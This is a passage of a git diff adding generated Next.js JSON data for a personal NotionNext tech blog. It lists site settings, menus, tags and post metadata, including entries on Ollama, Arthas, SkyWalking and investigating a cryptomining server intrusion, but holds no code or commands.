le"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/category.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/category.json
new file mode 100644
index 000000000..9da24addf
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/category.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 